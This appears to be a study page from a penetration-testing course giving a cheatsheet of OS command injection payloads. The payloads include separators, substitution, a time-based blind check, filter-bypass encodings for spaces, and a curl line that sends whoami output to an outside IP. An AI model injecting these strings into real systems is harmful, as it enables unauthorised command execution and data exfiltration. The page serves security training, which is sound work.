Command Injections

Web
> Start Learning

πŸ“– Overview

OS command injection techniques.

🎯
1
Exercises
πŸƒ
1
Flashcards
πŸ—ΊοΈ
1
Mind Maps

πŸ“‹ Cheatsheet

Basic

; id # Semicolon separator
| id # Pipe separator
|| id # OR separator (runs if first fails)
& id # Background separator
&& id # AND separator (runs if first succeeds)
$(id) # Command substitution
`id` # Backtick substitution

Blind

; sleep 5 # Time-based blind check
| curl http://10.10.14.5/$(whoami) # Out-of-band data exfiltration

Filter Bypass

${IFS} # Use IFS environment variable for space
$'\x20' # Use hex code for space

πŸ’» Command Examples

⚠️ Common Pitfalls

  • Not testing all delimiters
  • Missing blind injection

πŸ’‘ Exam Survival Tips

  • Test with sleep
  • Use out-of-band

πŸ—ΊοΈ Mind Maps